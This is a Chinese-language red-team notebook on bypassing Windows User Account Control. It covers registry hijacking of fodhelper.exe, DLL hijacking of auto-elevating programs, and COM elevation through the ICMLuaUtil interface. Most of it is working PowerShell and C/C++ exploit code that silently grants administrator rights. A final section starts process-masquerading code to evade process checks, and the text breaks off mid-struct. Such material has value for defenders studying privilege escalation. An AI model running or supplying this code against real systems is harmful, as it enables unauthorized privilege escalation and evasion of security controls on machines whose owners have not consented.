![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6s3B43EF_RUNOedq4L%2F-M6s3lEPgn5MNcufyVo0%2Fimage.png?alt=media\&token=b14fb791-38a0-4ffb-ab69-30540d2e7986)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6s3se9Br7qvx2Mq3MK%2F-M6s6AwTY4QpUnrjTPmX%2Fimage.png?alt=media\&token=8e7c7374-1aae-4185-bb15-7095039fb7a7)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6s3se9Br7qvx2Mq3MK%2F-M6s6L-AIDnhuzza9ssk%2Fimage.png?alt=media\&token=0af11c80-7deb-4677-81da-4744afede928)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6s6TRebC0hiQbatGn_%2F-M6s6WlzI0rUuK5EN9F9%2Fimage.png?alt=media\&token=35b3fb2f-0b41-4dda-a79d-981bd6840327)

## LINKS

{% embed url="<https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing>" %}

{% embed url="<https://ired.team/>" %}


# 基于注册表劫持BypassUAC

bypassuac-Fodhelper

## what is UAC？

UAC 是微软在 Windows Vista 以后版本引入的一种安全机制， UAC全称是User Account Control直译为“用户帐户控制”，是微软为提高系统安全而在Windows Vista中引入的新技术，VISTA以后的微软系统中都带有这个功能，如WIN7和WIN8系统中都有，UAC需要用户在执行一些可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前，提供权限或管理员‌密码。

## UAC的作用

通过 UAC，应用程序和任务可始终在非管理员帐户的安全上下文中运行，除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装，并防止无意中更改系统设置。

* 流程如下:&#x20;

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3H9On7iQxhB0UwhC7u%2F-M3HADCBM0c7Sjaw23Ex%2Fuacflowchart.png?alt=media\&token=ad45ca1b-dbad-462f-9493-e232a66f656f)

## UAC的实现

Windows操作系统中所有资源都有一个ACL(Access Control List)标识了拥有什么权限的用户/进程能够访问这个资源。 在开启了 UAC 之后，如果用户以管理员权限登陆，会生成两份访问令牌，一份是完整的管理员访问令牌（Full Access Token），一份是标准用户令牌(Access Token)。一般情况下会以标准用户权限启动 Explorer.exe 进程。在需要使用高完整性令牌时，会提示询问用户，如果用户同意，则继续进行操作。

## what is BypassUAC?

在触发UAC时，操作系统会创建一个名为consent.exe的进程，该进程通过白名单和用户选择来确定是否提升权限。 请求进程将要提升权限的进程的commandline和程序路径通过LPC(Local Procedure Call)接口传递给appinfo的RAiluanchAdminProcess函数，该函数首先会验证传入程序是否在白名单内同时判断是否弹出UAC窗口，这个UAC框会创建新的安全桌面，屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程，其他普通进程也无法和其进行通信交互。用户确认之后，会调用CreateProcessAsUser函数以管理员权限启动请求的进程。 通常通过UAC的权限提升需要由用户确认，在不被用户发现的情况下静默的将程序的普通权限提升为管理员权限，从而使程序可以实现一些需要权限的操作被称之为BypassUac。

## 基于白名单的BypassUac

有一些系统程序是会直接获取管理员权限同时不出发UAC弹窗的，这类程序被称为白名单程序。 这些程序拥有一个manifest文件该文件本质上是一个XML文件用于标识该程序的配置属性。 拥有autoElevate属性程序和微软签名和白名单会被操作系统认为是可信的。会在启动时就静默提升权限。

## BypassUac实例分析-fodhelper.exe

* 实验环境:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3H9On7iQxhB0UwhC7u%2F-M3HAC5rQTFKWt9Agk_w%2Fwindows-version.png?alt=media\&token=f8d59d42-93cb-4690-b745-0bf365aca4b7)

使用微软官方提供的sigcheck工具可以检查程序的manifest标识的配置属性，可用于检查是否拥有autoElevate属性。

* 检查程序属性:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3H9On7iQxhB0UwhC7u%2F-M3HA1HlQHGoPRpzDQh_%2FautoElevate.png?alt=media\&token=482b6104-30d0-46f1-8bf3-465c5085ae54)

使用微软提供的procmon工具可以监控程序进行的注册表和文件操作。

* 使用过滤规则:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3H9On7iQxhB0UwhC7u%2F-M3HA6RcyFHmxZAgcdPb%2Ffilter.png?alt=media\&token=22991157-0488-4378-9047-0be004a18087)

使用procmon监控fodhelper的行为数据发现，在启动过程中会查询注册表项HKCU:\Software\Classes\ms-settings\Shell\Open\command，发现路径不存在后继续查询，通常已shell\open\command命名的键值对存储的是可执行文件的路径，如果我们能写入这个键值对，那么在程序启动过程中我们会得到一个已高权限执行的可执行文件，由于该键值对属于HKCU，所以即使是普通用户也能编辑该键值对，那么现在我们就可以已高权限静默执行任意指定文件。

* 具体过程:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3H9On7iQxhB0UwhC7u%2F-M3HAFSgj1-o3zH8Wt1_%2Fprocesss-mon.png?alt=media\&token=28b7d225-3d1d-4f40-b31d-38ce7560e864)

如果键值对HKCU:\Software\Classes\ms-settings\shell\open\command存在，fodhelper会查找HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute,若也存在到则读取HKCU:\Software\Classes\ms-settings\shell\open\command的值然后执行。

* 存在DelegateExecute:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3H9On7iQxhB0UwhC7u%2F-M3HA4j3DFqxDm_m_Hqq%2FDelegateExecute.jpg?alt=media\&token=8efda1c7-87d2-4ddb-899f-706a22fbf13c)

* \shell\open\command存在值:&#x20;

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3HF2iROevQ2J_6hZ2T%2F-M3HFJXftAxniI2PHQGK%2Fopencmd.jpg?alt=media\&token=88c6be8c-05ad-4ca7-a252-50538f202190)

* 编码实现: <https://github.com/supersalted/FodhelperBypassUAC>
* powershell版本:

  ```
  [String]$program = "cmd /c start powershell.exe"
  New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
  New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
  Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
  Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
  Start-Sleep 3
  Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
  ```
* c++版本:

```
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/subsystem:windows /ENTRY:mainCRTStartup")

int main(int argc, char* argv[]) {
    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFOA si = { 0 };
    HKEY hKey;

    si.cb = sizeof(STARTUPINFO);
    si.wShowWindow = SW_HIDE;
    RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command", &hKey);
    RegSetValueExA(hKey, "", 0, REG_SZ, (LPBYTE)"cmd.exe", strlen("cmd.exe"));
    RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ, (LPBYTE)"", sizeof(""));
    CreateProcessA("C:\\Windows\\System32\\cmd.exe",(LPSTR)"/c C:\\Windows\\System32\\fodhelper.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
    Sleep(5000);
    RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");

    return 0;
}
```

* 实现效果:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3H9On7iQxhB0UwhC7u%2F-M3HA8jIyG9DJHL7l4OE%2Fpowershell.png?alt=media\&token=6daf9732-8f36-4ef2-9bb7-ec3c7e8e34b9)

## LINKS

{% embed url="<https://payloads.online/>" %}

{% embed url="<https://www.cnblogs.com/Chesky/p/UAC_Bypass.html>" %}

{% embed url="<https://docs.microsoft.com/en-us/cpp/security/how-user-account-control-uac-affects-your-application?redirectedfrom=MSDN&view=vs-2019>" %}

《windows黑客编程技术详解》&#x20;

《windows核心编程第五版》


# 基于dll劫持BypassUac

## dll劫持

> 由于输入表中只包含DLL名而没有它的路径名，因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL，如果没找到，则在Windows系统目录中查找，最后是在环境变量中列出的各个目录下查找。利用这个特点，先伪造一个系统同名的DLL，提供同样的输出表，每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL，完成相关功能后，再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持（hijack）了。

参考->

{% content-ref url="/pages/-M5mDcfF5ERM4nM7puak" %}
[DLL劫持](/persistence/dll-hijack)
{% endcontent-ref %}

## 利用流程

1. 寻找一个带有autoElevate属性又具有dll劫持缺陷的程序
2. 确定可劫持dll
3. 写入恶意dll

## dll劫持bypassuac实验

我们知道在进程创建的时候会复制一份登录用户的主令牌，而令牌内包含的特权又标识着当前进程的权限，部分拥有微软签名又具有autoElevate属性的程序会静默提升权限，本质上是把一个受限的令牌替换成一个高完整性的令牌，同时我们又知道在程序载入dll后在某些情况下程序会自动执行dllmain，如果我们能劫持一个dll，那我们编写的dll也会以拥有高完整性令牌的权限执行。

如何寻找带有autoElevate参考->

{% content-ref url="/pages/-M3H8A-EB0u-YY94w2HV" %}
[基于注册表劫持BypassUAC](/privilege-escalation/bypassuac-fodhelper)
{% endcontent-ref %}

* 寻找一个带有autoElevate属性又具有dll劫持缺陷的程序

过滤条件:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5qI-RvpgjWxsYMIeEk%2F-M5qQqHdhtYfKGAe0e9L%2Fimage.png?alt=media\&token=0eb7de2a-a885-4445-8c37-3117f4da4797)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5qI-RvpgjWxsYMIeEk%2F-M5qQx3uUHCUGGA_NRgB%2Fimage.png?alt=media\&token=3fceffc1-f4b3-471d-9829-c5d9c7511511)

运行自动提权文件我们发现，在程序当前目录并不存在预期dll，虽然处于system32目录下我们无法直接写入dll，但是操作系统提供的一些功能是可以让我们以受限用户权限越权写入的，如wusa能够将cab文件释放至管理员权限的文件夹，在之后的windows10中虽然取消了该方法，但是同样有等效的替代方案IFileOperation越权复制文件。

在这里笔者就直接把dll放入system32\sysprep\。(好吧其实是我懒)。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5qRnKdUhEutSGYkbM8%2F-M5qYWG6y9e6JCN9tGxs%2Fimage.png?alt=media\&token=c87c356b-e911-4043-a586-137f2e5a7a3c)

成功bypassuac，当然如果要武器化,那还需要对dll进行一些优化。

## LINKS

{% embed url="<https://github.com/hfiref0x/UACME>" %}


# 通过com组件BypassUAC

## COM组件简介

> &#x20;COM component（COM组件）是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下，人们可以开发出各种各样的功能专一的组件，然后将它们按照需要组合起来，构成复杂的应用系统。

com组件本质上是二进制文件(dll、exe,在windows系统内),其调用方法与c++的类相似，程序可以通过被称为CLSID(全局标识符)作为索引在注册表内找到具体的二进制文件，这篇文章只会介绍应用方法，具体的逆向分析会在之后的文章内详细解释(等公司买正版ida,现在用的盗版就不拿出来丢人了)。

windows提供了一种com组件提权的方法，其原意大概是为了方便开发，所以当这种提提权方法的调用者是拥有微软签名的合法程序时(其本质是校验PEB)，会忽略uac弹窗，这也为了我们利用该技术埋下了隐患。

```
HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)
{
    BIND_OPTS3 bo;
    WCHAR  wszCLSID[50];
    WCHAR  wszMonikerName[300];

    StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0])); 
    HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))
        return hr;
    memset(&bo, 0, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.hwnd = hwnd;
    bo.dwClassContext  = CLSCTX_LOCAL_SERVER;
    return CoGetObject(wszMonikerName, &bo, riid, ppv);
}
```

在com组件中，有一个名为ICMLuaUtil的接口，这个接口提供了一个名为ShellExec的方法，顾名思义，可以执行任意传入的命令，如果我们能用提权的ICMLuaUtil接口调用ShellExec，那么我们就能获得一个不受限的管理员令牌。

## 流程

1. 初始化com库
2. 创建提升权限的ICMLuaUtil接口
3. 调用ICMLuaUtil的ShellExec方法
4. 弹出一个高权限的calc(串戏了)。

## 代码

```
#include "BypassUAC.h"

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void** ppv)
{

	BIND_OPTS3 bo;
	WCHAR  wszCLSID[50];
	WCHAR  wszMonikerName[300];

	StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID) / sizeof(wszCLSID[0]));
	HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName) / sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
	if (FAILED(hr))
		return hr;
	memset(&bo, 0, sizeof(bo));

	bo.cbStruct = sizeof(bo);
	bo.hwnd = hwnd;
	bo.dwClassContext = CLSCTX_LOCAL_SERVER;
	return CoGetObject(wszMonikerName, &bo, riid, ppv);
}

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
	HRESULT hr = 0;
	CLSID clsidICMLuaUtil = { 0 };
	IID iidICMLuaUtil = { 0 };
	ICMLuaUtil* CMLuaUtil = NULL;
	BOOL bRet = FALSE;


	CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
	IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

	CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
	hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
	CMLuaUtil->lpVtbl->Release(CMLuaUtil);

	if (GetLastError())
	{
		return FALSE;
	}
	else {
		return TRUE;	
	}
}

int main() {
	CoInitialize(NULL);

	CMLuaUtilBypassUAC((LPWSTR)L"c:\\windows\\system32\\cmd.exe");
	CoUninitialize();
	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MCkE86rkIq4AjITo03n%2F-MCkEFsjOnQROeSGK2kT%2Fimage.png?alt=media\&token=0f34433d-c794-4bac-bab8-218430bcbbe7)

## 利用方法

### shellcode\&dll注入

把这个代码写成一个dll，然后通过进程注入的方式获得一个合法的进程环境。

shellcode注入和dll注入差不多，只不过注入的具体dll被打成了shellcode，我记得有这么一个开源项目可以做到，原理类似于在dll二进制代码前写一个加载器

### rundll32

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MCkHYCOipd8S6QEMmcH%2F-MCkOXy4rsup6ifeCzXH%2Fimage.png?alt=media\&token=eda0a942-f2ca-48d3-b999-6e581bea41df)

rundll32是windows提供的一个合法exe，它能把一个单独的dll拉起来成为一个进程，这也起来的进程也被windows视为合法。

### 伪装进程

原理我之前的文章写过[fakecommandline](/defense-evasion/fake-commandline)，这篇文章的基础上再添加对ldr的伪装，就能绕过对进程的校验，具体的代码三号学生大佬写过[this](https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87COM%E7%BB%84%E4%BB%B6IFileOperation%E8%B6%8A%E6%9D%83%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6/)。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MEL9dTedQetVOZDQuCo%2F-MEL9m3y9xzDmEB-gi72%2Fimage.png?alt=media\&token=35edf415-47bf-4428-ae2f-7beb176c0148)

```
#include "BypassUAC.h"

#include <Shobjidl.h>
#include <string>
#pragma comment(lib, "ntdll.lib")

#define RTL_MAX_DRIVE_LETTERS 32
#define GDI_HANDLE_BUFFER_SIZE32  34
#define GDI_HANDLE_BUFFER_SIZE64  60
#define GDI_BATCH_BUFFER_SIZE 310

#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

#if !defined(_M_X64)
#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE32
#else
#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE64
#endif

typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];
typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];
typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING* PUNICODE_STRING;


typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR Buffer;
} STRING;
typedef STRING* PSTRING;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _CLIENT_ID64 {
    ULONG64 UniqueProcess;
    ULONG64 UniqueThread;
} CLIENT_ID64, * PCLIENT_ID64;

typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    union
    {
        LIST_ENTRY InInitializationOrderLinks;
        LIST_ENTRY InProgressLinks;
    } DUMMYUNION0;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    union
    {
        ULONG Flags;
        struct
        {
            ULONG PackagedBinary : 1; // Size=4 Offset=104 BitOffset=0 BitCount=1
            ULONG MarkedForRemoval : 1; // Size=4 Offset=104 BitOffset=1 BitCount=1
            ULONG ImageDll : 1; // Size=4 Offset=104 BitOffset=2 BitCount=1
            ULONG LoadNotificationsSent : 1; // Size=4 Offset=104 BitOffset=3 BitCount=1
            ULONG TelemetryEntryProcessed : 1; // Size=4 Offset=104 BitOffset=4 BitCount=1
            ULONG ProcessStaticImport : 1; // Size=4 Offset=104 BitOffset=5 BitCount=1
            ULONG InLegacyLists : 1; // Size=4 Offset=104 BitOffset=6 BitCount=1
            ULONG InIndexes : 1; // Size=4 Offset=104 BitOffset=7 BitCount=1
            ULONG ShimDll : 1; // Size=4 Offset=104 BitOffset=8 BitCount=1
            ULONG InExceptionTable : 1; // Size=4 Offset=104 BitOffset=9 BitCount=1
            ULONG ReservedFlags1 : 2; // Size=4 Offset=104 BitOffset=10 BitCount=2
            ULONG LoadInProgress : 1; // Size=4 Offset=104 BitOffset=12 BitCount=1
            ULONG LoadConfigProcessed : 1; // Size=4 Offset=104 BitOffset=13 BitCount=1
            ULONG EntryProcessed : 1; // Size=4 Offset=104 BitOffset=14 BitCount=1
            ULONG ProtectDelayLoad : 1; // Size=4 Offset=104 BitOffset=15 BitCount=1
            ULONG ReservedFlags3 : 2; // Size=4 Offset=104 BitOffset=16 BitCount=2
            ULONG DontCallForThreads : 1; // Size=4 Offset=104 BitOffset=18 BitCount=1
            ULONG ProcessAttachCalled : 1; // Size=4 Offset=104 BitOffset=19 BitCount=1
            ULONG ProcessAttachFailed : 1; // Size=4 Offset=104 BitOffset=20 BitCount=1
            ULONG CorDeferredValidate : 1; // Size=4 Offset=104 BitOffset=21 BitCount=1
            ULONG CorImage : 1; // Size=4 Offset=104 BitOffset=22 BitCount=1
            ULONG DontRelocate : 1; // Size=4 Offset=104 BitOffset=23 BitCount=1
            ULONG CorILOnly : 1; // Size=4 Offset=104 BitOffset=24 BitCount=1
            ULONG ChpeImage : 1; // Size=4 Offset=104 BitOffset=25 BitCount=1
            ULONG ReservedFlags5 : 2; // Size=4 Offset=104 BitOffset=26 BitCount=2
            ULONG Redirected : 1; // Size=4 Offset=104 BitOffset=28 BitCount=1
            ULONG ReservedFlags6 : 2; // Size=4 Offset=104 BitOffset=29 BitCount=2
            ULONG CompatDatabaseProcessed : 1; // Size=4 Offset=104 BitOffset=31 BitCount=1
        };
    } ENTRYFLAGSUNION;
    WORD ObsoleteLoadCount;
    WORD TlsIndex;
    union
    {
        LIST_ENTRY HashLinks;
        struct
        {
            PVOID SectionPointer;
            ULONG CheckSum;
        };
    } DUMMYUNION1;
    union
    {
        ULONG TimeDateStamp;
        PVOID LoadedImports;
    } DUMMYUNION2;
    //fields below removed for compatibility
} LDR_DATA_TABLE_ENTRY_COMPATIBLE, * PLDR_DATA_TABLE_ENTRY_COMPATIBLE;
typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY;

typedef LDR_DATA_TABLE_ENTRY* PCLDR_DATA_TABLE_ENTRY;

typedef struct _PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    HANDLE SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID EntryInProgress;
    BOOLEAN ShutdownInProgress;
    HANDLE ShutdownThreadId;
} PEB_LDR_DATA, * PPEB_LDR_DATA;


typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, * PCURDIR;

typedef struct _RTL_DRIVE_LETTER_CURDIR {
    USHORT Flags;
    USHORT Length;
    ULONG TimeStamp;
    STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;


typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;

    ULONG Flags;
    ULONG DebugFlags;

    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;

    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;

    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;

    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];

    ULONG EnvironmentSize;
    ULONG EnvironmentVersion;
    PVOID PackageDependencyData; //8+
    ULONG ProcessGroupId;
    // ULONG LoaderThreads;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    union
    {
        BOOLEAN BitField;
        struct
        {
            BOOLEAN ImageUsesLargePages : 1;
            BOOLEAN IsProtectedProcess : 1;
            BOOLEAN IsImageDynamicallyRelocated : 1;
            BOOLEAN SkipPatchingUser32Forwarders : 1;
            BOOLEAN IsPackagedProcess : 1;
            BOOLEAN IsAppContainer : 1;
            BOOLEAN IsProtectedProcessLight : 1;
            BOOLEAN IsLongPathAwareProcess : 1;
        };
    };
    HANDLE Mutant;

    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID SubSystemData;
    PVOID ProcessHeap;
    PRTL_CRITICAL_SECTION FastPebLock;
    PVOID AtlThunkSListPtr;
    PVOID IFEOKey;
    union
    {
        ULONG CrossProcessFlags;
        struct
        {
            ULONG ProcessInJob : 1;
            ULONG ProcessInitializing : 1;
            ULONG ProcessUsingVEH : 1;
            ULONG ProcessUsingVCH : 1;
            ULONG ProcessUsingFTH : 1;
            ULONG ProcessPreviouslyThrottled : 1;
            ULONG ProcessCurrentlyThrottled : 1;
            ULONG ReservedBits0 : 25;
        };
        ULONG EnvironmentUpdateCount;
    };
    union
    {
        PVOID KernelCallbackTable;
        PVOID UserSharedInfoPtr;
    };
    ULONG SystemReserved[1];
    ULONG AtlThunkSListPtr32;
    PVOID ApiSetMap;
    ULONG TlsExpansionCounter;
    PVOID TlsBitmap;
    ULONG TlsBitmapBits[2];
    PVOID ReadOnlySharedMemoryBase;
    PVOID HotpatchInformation;
    PVOID* ReadOnlyStaticServerData;
    PVOID AnsiCodePageData;
    PVOID OemCodePageData;
    PVOID UnicodeCaseTableData;

    ULONG NumberOfProcessors;
    ULONG NtGlobalFlag;

    LARGE_INTEGER CriticalSectionTimeout;
    SIZE_T HeapSegmentReserve;
    SIZE_T HeapSegmentCommit;
    SIZE_T HeapDeCommitTotalFreeThreshold;
    SIZE_T HeapDeCommitFreeBlockThreshold;

    ULONG NumberOfHeaps;
    ULONG MaximumNumberOfHeaps;
    PVOID* ProcessHeaps;

    PVOID GdiSharedHandleTable;
    PVOID ProcessStarterHelper;
    ULONG GdiDCAttributeList;

    PRTL_CRITICAL_SECTION LoaderLock;

    ULONG OSMajorVersion;
    ULONG OSMinorVersion;
    USHORT OSBuildNumber;
    USHORT OSCSDVersion;
    ULONG OSPlatformId;
    ULONG ImageSubsystem;
    ULONG ImageSubsystemMajorVersion;
    ULONG ImageSubsystemMinorVersion;
    ULONG_PTR ImageProcessAffinityMask;
    GDI_HANDLE_BUFFER GdiHandleBuffer;
    PVOID PostProcessInitRoutine;

    PVOID TlsExpansionBitmap;
    ULONG TlsExpansionBitmapBits[32];

    ULONG SessionId;

    ULARGE_INTEGER AppCompatFlags;
    ULARGE_INTEGER AppCompatFlagsUser;
    PVOID pShimData;
    PVOID AppCompatInfo;

    UNICODE_STRING CSDVersion;

    PVOID ActivationContextData;
    PVOID ProcessAssemblyStorageMap;
    PVOID SystemDefaultActivationContextData;
    PVOID SystemAssemblyStorageMap;

    SIZE_T MinimumStackCommit;

    PVOID* FlsCallback;
    LIST_ENTRY FlsListHead;
    PVOID FlsBitmap;
    ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
    ULONG FlsHighIndex;

    PVOID WerRegistrationData;
    PVOID WerShipAssertPtr;
    PVOID pContextData;
    PVOID pImageHeaderHash;
    union
    {
        ULONG TracingFlags;
        struct
        {
            ULONG HeapTracingEnabled : 1;
            ULONG CritSecTracingEnabled : 1;
            ULONG LibLoaderTracingEnabled : 1;
            ULONG SpareTracingBits : 29;
        };
    };
    ULONGLONG CsrServerReadOnlySharedMemoryBase;
} PEB, * PPEB;

typedef struct _GDI_TEB_BATCH {
    ULONG	Offset;
    UCHAR	Alignment[4];
    ULONG_PTR HDC;
    ULONG	Buffer[GDI_BATCH_BUFFER_SIZE];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;

typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
    ULONG Flags;
    PSTR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;

typedef struct _TEB_ACTIVE_FRAME {
    ULONG Flags;
    struct _TEB_ACTIVE_FRAME* Previous;
    PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;

typedef struct _TEB {
    NT_TIB NtTib;

    PVOID EnvironmentPointer;
    CLIENT_ID ClientId;
    PVOID ActiveRpcHandle;
    PVOID ThreadLocalStoragePointer;
    PPEB ProcessEnvironmentBlock;

    ULONG LastErrorValue;
    ULONG CountOfOwnedCriticalSections;
    PVOID CsrClientThread;
    PVOID Win32ThreadInfo;
    ULONG User32Reserved[26];
    ULONG UserReserved[5];
    PVOID WOW32Reserved;
    LCID CurrentLocale;
    ULONG FpSoftwareStatusRegister;
    PVOID SystemReserved1[54];
    NTSTATUS ExceptionCode;
    PVOID ActivationContextStackPointer;
#if defined(_M_X64)
    UCHAR SpareBytes[24];
#else
    UCHAR SpareBytes[36];
#endif
    ULONG TxFsContext;

    GDI_TEB_BATCH GdiTebBatch;
    CLIENT_ID RealClientId;
    HANDLE GdiCachedProcessHandle;
    ULONG GdiClientPID;
    ULONG GdiClientTID;
    PVOID GdiThreadLocalInfo;
    ULONG_PTR Win32ClientInfo[62];
    PVOID glDispatchTable[233];
    ULONG_PTR glReserved1[29];
    PVOID glReserved2;
    PVOID glSectionInfo;
    PVOID glSection;
    PVOID glTable;
